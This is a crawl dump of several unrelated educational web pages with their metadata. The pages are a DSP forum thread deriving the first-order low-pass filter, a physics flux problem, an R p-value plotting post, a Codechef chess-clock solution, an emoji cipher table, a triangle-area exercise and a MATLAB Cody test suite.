"Symmetrization, with respect to some group, of a tensor which was alternated first (see Alternation) with respect to that group, leads to the zero tensor.",
null,
"Symmetrization of tensors, side by side with the alternation operation, is used for the decomposition of a tensor into tensors with a simpler structure.\nMore results at FactBites »\n\nShare your thoughts, questions and commentary here\nPress Releases |",
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"Feeds | Contact"
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https://dsp.stackexchange.com/questions/41854/low-pass-filter-algorithm-origin/42624 | [
"# Low pass filter algorithm origin\n\nI have been doing some research, because I used this algorithm that's very spread in the web:\n\ny += a * (x - y)\n\n\nor\n\ny = (a * y) + (x - (a * x)\n\n\nWhere x is input, and y is the filter output, and a is actually alpha, which there's some math behind it to define it's value.\n\nBut none actually shows why this algorithm is a low pass filter and from which formula it actually came from(wikipedia has no source for it). I'm doing a small academic paper, so I need to know exactly from where it came.\n\n• i think if there is any \"ontological\" origin to the low-pass filter, i think it would lie with the concept of the arithmetic mean. we do averaging to \"filter out\" variations and to leave a general trend. – robert bristow-johnson Jun 21 '17 at 16:38\n\nI tried to make my derivation match up exactly with embeddedrelated's. The filter you cited uses an approximation, which further obfuscates intuitively understanding it.\n\nembeddedrelated does cite the frequency transfer function that the IIR filter is based off of: $$H(s)=\\frac{1}{1+s\\tau}$$\n\nThe transfer function for a simple RC low pass filter is: $$H(s)_{RC}=\\frac{1}{1+sRC}$$ $$\\tau=RC$$\n\nSchematic:",
null,
"We can derive a difference equation from the above schematic.\n\n$$I=C\\frac{dV_{out}}{dt}$$ $$I = \\frac{V_{in} - V_{out}}{R}$$ $$C\\frac{dV_{out}}{dt}=\\frac{V_{in} - V_{out}}{R}$$ $$C\\frac{V_{out}[n]-V_{out}[n-1]}{ts}=\\frac{V_{in}[n] - V_{out}[n]}{R}$$ $$V_{in}[n]+\\tau f_s V_{out}[n-1]=\\tau f_s V_{out}[n] + V_{out}[n]$$ I have tested this form: $$\\frac{V_{in}[n]+\\tau f_s V_{out}[n-1]}{\\tau f_s + 1}=V_{out}[n]$$ $$\\tau f_s >> 1$$ I have not tested this form: $$\\frac{V_{in}[n]}{\\tau f_s} + V_{out}[n-1]\\approx V_{out}[n]$$\n\nI've seen it called a recursive moving average filter, an $\\alpha$ filter, and a forgetting filter. The $\\alpha$ filter is covered in the Wikipedia article on Alpha Beta Filters.\n\nThe transfer function was given in one of the comments.\n\nThe origin is going to be hard to track down because it is a very simple filter.\n\n• Yeah, I found out that it would be easier if I find papers and books about the types of filters and not this filter in particular. Those keywords said in your answer and in @Fat32 's comment helped me a lot. Maybe mix everything up so it can be a complete answer? – DH. Jun 22 '17 at 18:50\n\nLooking at your first line of C-code:\n\ny += a*(x-y)\n\n\nIt can be converted to an algebraic relation between the samples of the filter output sequence $$y[n]$$ and the filter input $$x[n]$$ as:\n\n$$y[n+1]-(1-a)y[n]=ax[n]$$ which is also equivalent to $$y[n]-(1-a)y[n-1]=ax[n-1]$$\n\nAnd the associated transfer function of this filter is $$H(z) = \\frac{a z^{-1}}{1 - (1-a)z^{-1}} = \\frac{a z^{-1}}{1 + (a-1)z^{-1}}$$\n\nNow your application will probably require a causal filter, (which means only current and past input is available and should be used to produce current output) in which case then the poles of the filter should reside inside the unit circle , i.e., $$|z_p| < 1$$.\n\nSince this filter has a single pole which is at $$z_p=(1-a)$$ then we have; $$|1-a| < 1$$ and hence; $$0 < a <2$$ is the allowed range of real $$a$$ for which you can have a stable and causal filter.\n\nNow to have a casual and stable lowpass filter you require that the pole is along the positive side of the real line, i.e., $$0 < z_p < 1$$ which means that we require $$0 < a < 1$$.\n\nOtherwise when $$1 < a < 2$$ the filter becomes a highpass filter (actually it will be some other form of high-boost or shelving type filter rather than a strict high-pass filter which should block low frequencies, which these filters won't), as the pole will become negative for that range of $$a$$.\n\nNote also that $$a=1$$ produces output equal to input shifted by 1 samples: $$y[n] = x[n-1]$$\n\nBelow are a few frequency response plots for different values of valid $$a$$ range:",
null,
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"https://upload.wikimedia.org/wikipedia/commons/thumb/e/e0/1st_Order_Lowpass_Filter_RC.svg/250px-1st_Order_Lowpass_Filter_RC.svg.png",
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"https://i.stack.imgur.com/fnQMX.png",
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https://www.numerade.com/questions/a-long-straight-wire-lies-in-the-plane-of-a-circular-coil-with-a-radius-of-0010-m-the-wire-carries-a/ | [
"Ask your homework questions to teachers and professors, meet other students, and be entered to win \\$600 or an Xbox Series X 🎉Join our Discord!",
null,
"Numerade Educator\n\n# A long, straight wire lies in the plane of a circular coil with a radius of 0.010 m. The wire carries a current of 2.0 A and is placed along a diameter of the coil. (a) What is the net flux through the coil? (b) If the wire passes through the center of the coil and is perpendicular to the plane of the coil, what is the net flux through the coil ?\n\n## a. zerob. \\phi=B A \\cos \\theta = 0\n\n### Discussion\n\nYou must be signed in to discuss.\n##### Top Physics 102 Electricity and Magnetism Educators",
null,
"",
null,
"##### Marshall S.\n\nUniversity of Washington",
null,
"",
null,
"### Video Transcript\n\nare. So in this first case here, which is case, eh? You have your circular loop of wire, your particular coil and the wire that's going through along the plane of bucks. That's that's on the plane off the coil. So what's happening is that, um uh and this is the face on view, by the way, you're seeing this face on some. What's happening is that, um so this is a field line. Be right, every few lines. So we know that Ah, magnetic flux will be be a Times co sign data. So the angle between the magnetic field of ah plane of the loop is it's 90 degrees. So that's s so it will be be a here. But the problem is that every time the the net flux, um, won't necessarily be amount zero value because what's happening here is that every time every field line that comes up through to this area into an area and one side of the wire, let me draw this again, um, for better for clarity. So from one side of the wire, dis pretended, this is this is along the diameter, off the off the, um, coil off the loop. Every feline that's going to the center from on one side of the wire goes back down. Um, goes back down through area on the other side of the wire. Okay, so the net flocks. The net will be zero due to the cemetery property and part b, um, has on put B. We just used the fact that Faison be eyes equal to be a co side data and so co sign. Ah, 90. Because of this angle, here is 97 data zero. In this case, sure, if they does 90 and co side 90 is zero. So this will be zero as well, hence the net flux will be zero.",
null,
"New Mexico State University\n##### Top Physics 102 Electricity and Magnetism Educators",
null,
"",
null,
"##### Marshall S.\n\nUniversity of Washington",
null,
"",
null,
""
] | [
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy9kOWVlMjg1MGM5Nzg0MGJlOTY2MzkzZGQ3MTI1NjhiZC5qcGciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy8xOWY2ZWU1NGRjYzQ0MDhlYmJiZGI2NmY1YzQ0OGZiMi5KUEciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy82ZWYzZGU5MmRhNTk0YTM1YjJjNWY1ZjVkMjAwZmYxZC5qcGciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy8xMTNhYmFjZTJlMzc0MGExOWMwYmIxMGVhMjBiNmYwMC5qcGciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy85ODI2NTRhZDA2ZDM0NmEwOWZmNjNhOWRhYWQ4NDUwYy5qZmlmIiwgImVkaXRzIjogeyJyZXNpemUiOiB7IndpZHRoIjogMjU2LCAiaGVpZ2h0IjogMjU2fX19",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy9kOWVlMjg1MGM5Nzg0MGJlOTY2MzkzZGQ3MTI1NjhiZC5qcGciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy8xOWY2ZWU1NGRjYzQ0MDhlYmJiZGI2NmY1YzQ0OGZiMi5KUEciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy82ZWYzZGU5MmRhNTk0YTM1YjJjNWY1ZjVkMjAwZmYxZC5qcGciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy8xMTNhYmFjZTJlMzc0MGExOWMwYmIxMGVhMjBiNmYwMC5qcGciLCAiZWRpdHMiOiB7InJlc2l6ZSI6IHsid2lkdGgiOiAyNTYsICJoZWlnaHQiOiAyNTZ9fX0=",
null,
"https://d1ras9cbx5uamo.cloudfront.net/eyJidWNrZXQiOiAiY29tLm51bWVyYWRlIiwgImtleSI6ICJpbnN0cnVjdG9ycy85ODI2NTRhZDA2ZDM0NmEwOWZmNjNhOWRhYWQ4NDUwYy5qZmlmIiwgImVkaXRzIjogeyJyZXNpemUiOiB7IndpZHRoIjogMjU2LCAiaGVpZ2h0IjogMjU2fX19",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.94304293,"math_prob":0.8554693,"size":2123,"snap":"2021-04-2021-17","text_gpt3_token_len":535,"char_repetition_ratio":0.14440773,"word_repetition_ratio":0.01438849,"special_character_ratio":0.24399434,"punctuation_ratio":0.126294,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9549778,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-15T05:22:41Z\",\"WARC-Record-ID\":\"<urn:uuid:bf796561-6059-47e7-b9c1-b3bfeb9821d7>\",\"Content-Length\":\"143960\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:78636588-4c76-4805-8915-c8cd5d4ae859>\",\"WARC-Concurrent-To\":\"<urn:uuid:32b0df28-17ae-49a8-93b1-d71c13cfd215>\",\"WARC-IP-Address\":\"44.239.55.41\",\"WARC-Target-URI\":\"https://www.numerade.com/questions/a-long-straight-wire-lies-in-the-plane-of-a-circular-coil-with-a-radius-of-0010-m-the-wire-carries-a/\",\"WARC-Payload-Digest\":\"sha1:ZBJNBAR2AEXS5TQRNWJKYW7DBNAP2FEC\",\"WARC-Block-Digest\":\"sha1:MLPSNVKNPCQGQQQS53WCQRVAINHP2RKC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038083007.51_warc_CC-MAIN-20210415035637-20210415065637-00001.warc.gz\"}"} |
https://data-se.netlify.app/2017/11/29/a-p-value-picture/ | [
"# A p-value picture\n\nMuch ado and to say about the p-value. Let me add one more point; actually not really from myself, but from Diez, Barr, and Cetinkaya-Rundel (2012), p. 189; good book in one is looking for “orthodox” statistics.\n\nlibrary(tidyverse)\n## ── Attaching packages ────────────────────────────────────────────────────────────────────────────────────────────────────────────────── tidyverse 1.2.1 ──\n## ✔ ggplot2 3.0.0 ✔ purrr 0.2.5\n## ✔ tibble 1.4.2 ✔ dplyr 0.7.6\n## ✔ tidyr 0.8.1 ✔ stringr 1.3.1\n## ✔ readr 1.1.1 ✔ forcats 0.3.0\n## Warning: package 'dplyr' was built under R version 3.5.1\n## ── Conflicts ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── tidyverse_conflicts() ──\n## ✖ dplyr::lag() masks stats::lag()\nggplot(NULL, aes(c(-5,5))) +\ngeom_area(stat = \"function\", fun = dnorm, fill = \"grey40\", xlim = c(-5, 2)) +\ngeom_area(stat = \"function\", fun = dnorm, fill = \"#00998a\", xlim = c(2, 5)) +\nlabs(y = \"\",\nx = \"X\") +\ntheme(axis.text = element_blank(),\naxis.ticks = element_blank())",
null,
"This picture should now be annotated with something along the lines\n\n• “This is the distribution of $$\\bar{x}$$ if $$H_0$$ is true” and\n• “The green shaded area corresponds to the chance of observing $$\\bar{x}$$ or a $$\\bar{x}$$ even more favorable towards $$H_A$$”.\n\nUnfortunately, I have struggled to get annotations in this ggplot diagram with line breaks and with TeX fomulas (either one, no problem, both - did not work). That’s why I have prepared the annotation with an external paint program, which worked like a charm.",
null,
"The annotations are in German as I am planning to make use of it in class.\n\n# Literature\n\nDiez, David M, Christopher D Barr, and Mine Cetinkaya-Rundel. 2012. OpenIntro Statistics. CreateSpace."
] | [
null,
"https://data-se.netlify.app/post/2017-11-29-a-p-value-picture_files/figure-html/unnamed-chunk-2-1.png",
null,
"https://data-se.netlify.app/images/2017-11-29/p-Wert-Bild-crop.png",
null
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https://progiez.com/blitz-problem-codechef-solution-blicz | [
"# Blitz Problem: BLICZ\n\n### Blitz Problem Codechef solution\n\nIn a Chess match “a + b”, each player has a clock which shows aa minutes at the start and whenever a player makes a move, bb seconds are added to this player’s clock. Time on a player’s clock decreases during that player’s turns and remains unchanged during the other player’s turns. If the time on some player’s clock hits zero (but not only in this case), this player loses the game.\n\nThere’s a 3 + 2 blitz chess match. After NN turns (i.e. ⌊N+12⌋⌊N+12⌋ moves made by white and ⌊N2⌋⌊N2⌋ moves made by black), the game ends and the clocks of the two players stop; they show that the players (white and black) have AA and BB seconds left respectively. Note that after the NN-th turn, b=2b=2 seconds are still added to the clock of the player that made the last move and then the game ends.\n\nFind the total duration of the game.\n\n### Input\n\n• The first line of the input contains a single integer TT denoting the number of test cases. The description of TT test cases follows.\n• The first and only line of each test case contains three space-separated integers NN, AA and BB.\n\n### Output\n\nFor each test case, print a single line containing one integer — the duration of the game.\n\n### Constraints\n\n• 1≤T≤1051≤T≤105\n• 10≤N≤10010≤N≤100\n• 0≤A≤180+2⋅⌊N+12⌋0≤A≤180+2⋅⌊N+12⌋\n• 0≤B≤180+2⋅⌊N2⌋0≤B≤180+2⋅⌊N2⌋\n• for NN odd, A≥2A≥2\n• for NN even, B≥2B≥2\n• there is at least one valid game consistent with the input\n\n### Example Input\n\n``````3\n10 0 2\n11 2 1\n12 192 192\n``````\n\n### Example Output\n\n``````378\n379\n0\n``````\n\n### Explanation\n\nExample case 1: The total time given to both clocks after 1010 turns is 2⋅(180+10)=3802⋅(180+10)=380 seconds. The total time left at the end is 0+2=20+2=2 seconds. The duration of the game is 380−2=378380−2=378 seconds.\n\nExample case 3: The total time given to both clocks after 1212 turns is 2⋅(180+12)=3842⋅(180+12)=384 seconds. The total time left at the end is 192+192=384192+192=384 seconds. The duration of the game is 384−384=0384−384=0 seconds.\n\n## Blitz Problem Codechef solution in C++ 14\n\n``````\nint main()\n{\nint t;\ncin>>t;\nwhile(t--)\n{\nint n,a,b;\ncin>>n>>a>>b;\ncout << 360+2*n-(a+b) << \"\\n\";\n\n}\nreturn 0;\n}``````\n\n## Blitz Problem Codechef solution in Python 3\n\n``````T = int(input(\"\"))\nfor i in range (0,T):\nn,a,b = map(int,input().split())\nt = 2*(180+n)\ntl = a+b\nd = t-tl\nprint(d)\n``````\n\n## Blitz Problem Codechef solution in Java\n\n``````/* package codechef; // don't place package name! */\n\nimport java.util.*;\nimport java.lang.*;\nimport java.io.*;\n\n/* Name of the class has to be \"Main\" only if the class is public. */\nclass Codechef\n{\npublic static void main (String[] args) throws java.lang.Exception\n{\nScanner sc=new Scanner(System.in);\nint tests = sc.nextInt();\nfor(int i=0;i < tests;i++){\nint a =sc.nextInt();\nint b = sc.nextInt();\nint c = sc.nextInt();\nint d =180;\nint m=d+a;\nint e= 2*m;\nint f=b+c;\nint h=e-f;\nSystem.out.println(h);\n}\n}\n}``````"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7737989,"math_prob":0.97591555,"size":3098,"snap":"2023-40-2023-50","text_gpt3_token_len":991,"char_repetition_ratio":0.11732385,"word_repetition_ratio":0.051823415,"special_character_ratio":0.33182698,"punctuation_ratio":0.123385936,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99720395,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-28T13:49:12Z\",\"WARC-Record-ID\":\"<urn:uuid:60d81f82-d125-40e8-b1e2-5bd80e3c2744>\",\"Content-Length\":\"84548\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:90ca1953-06cf-456b-aeeb-af9abc1b2b0f>\",\"WARC-Concurrent-To\":\"<urn:uuid:475f8659-55e4-4826-978e-9bc61299bc6d>\",\"WARC-IP-Address\":\"13.127.89.110\",\"WARC-Target-URI\":\"https://progiez.com/blitz-problem-codechef-solution-blicz\",\"WARC-Payload-Digest\":\"sha1:MNYCDJRLINYZD77V33YMTJPJUG6V3OBQ\",\"WARC-Block-Digest\":\"sha1:TFXLI5CLWMTMXNFJAXKCK3YYTBY2AO3F\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233510412.43_warc_CC-MAIN-20230928130936-20230928160936-00734.warc.gz\"}"} |
http://ciphermaker.com/t/5 | [
"",
null,
"# Funny emojis cipher maker\n\n a = 🤡 b = 🤠 c = 💩 d = 😋 e = 😡 f = 👻 g = 🙀 h = 👍 i = 🖐 j = 👀 k = 🐻 l = 🐸 m = 🐶 n = 🍎 o = 🥑 p = 🏀 q = 👂 r = 🚗 s = 🚖 t = 😎 u = 💿 v = 💚 w = 👃 x = 👅 y = 👄 z = 👽\n\nShare our site with your friends :)"
] | [
null,
"http://ciphermaker.com/clogo.jpg",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5683129,"math_prob":1.00001,"size":281,"snap":"2022-27-2022-33","text_gpt3_token_len":173,"char_repetition_ratio":0.07220217,"word_repetition_ratio":0.0,"special_character_ratio":0.4519573,"punctuation_ratio":0.020833334,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.000004,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-17T04:22:36Z\",\"WARC-Record-ID\":\"<urn:uuid:4e58e8d1-16b4-4eed-92ac-775c50d187f5>\",\"Content-Length\":\"9103\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:886a2679-7fe1-4866-8ef8-14d5de658b8f>\",\"WARC-Concurrent-To\":\"<urn:uuid:428e39f9-ba11-4d70-bb51-b22fae722058>\",\"WARC-IP-Address\":\"198.187.31.221\",\"WARC-Target-URI\":\"http://ciphermaker.com/t/5\",\"WARC-Payload-Digest\":\"sha1:B7DFD4PH7YG55PVAHXFFH55CUNBW7ISZ\",\"WARC-Block-Digest\":\"sha1:CYBSN2ZW3PG2UYGP6LFGNHDWXNR4OS2V\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882572833.95_warc_CC-MAIN-20220817032054-20220817062054-00486.warc.gz\"}"} |
https://www.hackmath.net/en/math-problem/5993 | [
"# Coordinate axes\n\nDetermine the area of the triangle given by line -7x+7y+63=0 and coordinate axes x and y.\n\nCorrect result:\n\nS = 40.5\n\n#### Solution:\n\n$-7x + 7y + 63=0 \\ \\\\ \\ \\\\ x=0: \\ \\\\ -7 \\cdot \\ 0+7y + 63=0 \\ \\\\ 7y=-63 \\ \\\\ y=-63 / 7=-9 \\ \\\\ \\ \\\\ \\ \\\\ y=0: \\ \\\\ -7x+7 \\cdot \\ 0 + 63=0 \\ \\\\ 7x=63 \\ \\\\ x=63 / 7=9 \\ \\\\ \\ \\\\ \\ \\\\ a=|x|=|9|=9 \\ \\\\ b=|y|=|(-9)|=9 \\ \\\\ \\ \\\\ ABC: (0,0), (0,-9), (9,0) \\ \\\\ \\ \\\\ S=a \\cdot \\ b / 2=9 \\cdot \\ 9 / 2=\\dfrac{ 81 }{ 2 }=40.5$",
null,
"We would be pleased if you find an error in the word problem, spelling mistakes, or inaccuracies and send it to us. Thank you!",
null,
"Tips to related online calculators\nFor Basic calculations in analytic geometry is helpful line slope calculator. From coordinates of two points in the plane it calculate slope, normal and parametric line equation(s), slope, directional angle, direction vector, the length of segment, intersections the coordinate axes etc.\nDo you want to convert length units?\n\n#### You need to know the following knowledge to solve this word math problem:\n\nWe encourage you to watch this tutorial video on this math problem:\n\n## Next similar math problems:\n\n• XY triangle",
null,
"Determine area of triangle given by line 7x+8y-69=0 and coordinate axes x and y.\n• Three points",
null,
"Three points A (-3;-5) B (9;-10) and C (2;k) . AB=AC What is value of k?\n• Square",
null,
"Points A[-9,7] and B[-4,-5] are adjacent vertices of the square ABCD. Calculate the area of the square ABCD.\n• Triangle",
null,
"Triangle KLM is given by plane coordinates of vertices: K[11, -10] L[10, 12] M[1, 3]. Calculate its area and its interior angles.\n• Vertices of a right triangle",
null,
"Show that the points D(2,1), E(4,0), F(5,7) are vertices of a right triangle.\n• Lighthouse",
null,
"Marcel (point J) lies in the grass and sees the top of the tent (point T) and behind it the top of the lighthouse (P). | TT '| = 1.2m, | PP '| = 36m, | JT '| = 5m. Marcel lies 15 meters away from the sea (M). Calculate the lighthouse distance from the sea\n• Coordinates",
null,
"Determine the coordinates of the vertices and the content of the parallelogram, the two sides of which lie on the lines 8x + 3y + 1 = 0, 2x + y-1 = 0 and the diagonal on the line 3x + 2y + 3 = 0\n• Forces",
null,
"In point O acts three orthogonal forces: F1 = 20 N, F2 = 7 N and F3 = 19 N. Determine the resultant of F and the angles between F and forces F1, F2 and F3.\n• Circle",
null,
"Circle is given by centre on S[-7; 10] and maximum chord 13 long. How many intersect points have circle with the coordinate axes?\n• Similarity coefficient",
null,
"The ratio of similarity of two equilateral triangles is 3.5 (ie 7:2). The length of the side of smaller triangle is 2.4 cm. Calculate the perimeter and area of the larger triangle.\n• Unit vector 2D",
null,
"Determine coordinates of unit vector to vector AB if A[-6; 8], B[-18; 10].\n• Points on circle",
null,
"In the Cartesian coordinate system with the origin O is a sketched circle k /O; r=2 cm/. Write all the points that lie on a circle k and whose coordinates are integers. Write all the points that lie on the circle I / O; r=5 cm / and whose coordinates are\n• 3d vector component",
null,
"The vector u = (3.9, u3) and the length of the vector u is 12. What is is u3?\n• Cube cut",
null,
"In the ABCDA'B'C'D'cube, it is guided by the edge of the CC' a plane witch dividing the cube into two perpendicular four-sided and triangular prisms, whose volumes are 3:2. Determine in which ratio the edge AB is divided by this plane.\n• Calculate 6",
null,
"Calculate the distance of a point A[0, 2] from a line passing through points B[9, 5] and C[1, -1].\n• Vector",
null,
"Calculate length of the vector v⃗ = (9.75, 6.75, -6.5, -3.75, 2).\n• Top of the tower",
null,
"The top of the tower has the shape of a regular hexagonal pyramid. The base edge has a length of 1.2 m, the pyramid height is 1.6 m. How many square meters of sheet metal is needed to cover the top of the tower if 15% extra sheet metal is needed for joint"
] | [
null,
"https://www.hackmath.net/img/93/tr_triangle_axes.jpg",
null,
"https://www.hackmath.net/hashover/images/avatar.png",
null,
"https://www.hackmath.net/thumb/20/t_920.jpg",
null,
"https://www.hackmath.net/thumb/81/t_7181.jpg",
null,
"https://www.hackmath.net/thumb/94/t_494.jpg",
null,
"https://www.hackmath.net/thumb/99/t_799.jpg",
null,
"https://www.hackmath.net/thumb/19/t_7619.jpg",
null,
"https://www.hackmath.net/thumb/1/t_8101.jpg",
null,
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https://se.mathworks.com/matlabcentral/cody/problems/42692-polynomial-evaluation/solutions/2958838 | [
"Cody\n\n# Problem 42692. Polynomial Evaluation\n\nSolution 2958838\n\nSubmitted on 17 Sep 2020 by Rafael S.T. Vieira\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\nx = 3; coefficients = [-19, 7, -4, 6]; y_correct = 128; assert(isequal(your_fcn_name(x,coefficients),y_correct))\n\n2 Pass\nx = 21; coefficients = [5, -4, 7, -2]; y_correct = -15514; assert(isequal(your_fcn_name(x,coefficients),y_correct))\n\n3 Pass\nx = [11:15]; a = [-10:-6]; b = [6:2:14]; c = [-14:2:-6]; d = [2:-1:-2]; y_correct = [1024, 87 -1568 -4151 -7896]; for i = 1:5 coefficients = [a(i) b(i) c(i) d(i)]; assert(isequal(your_fcn_name(x(i),coefficients),y_correct(i))) end\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!"
] | [
null
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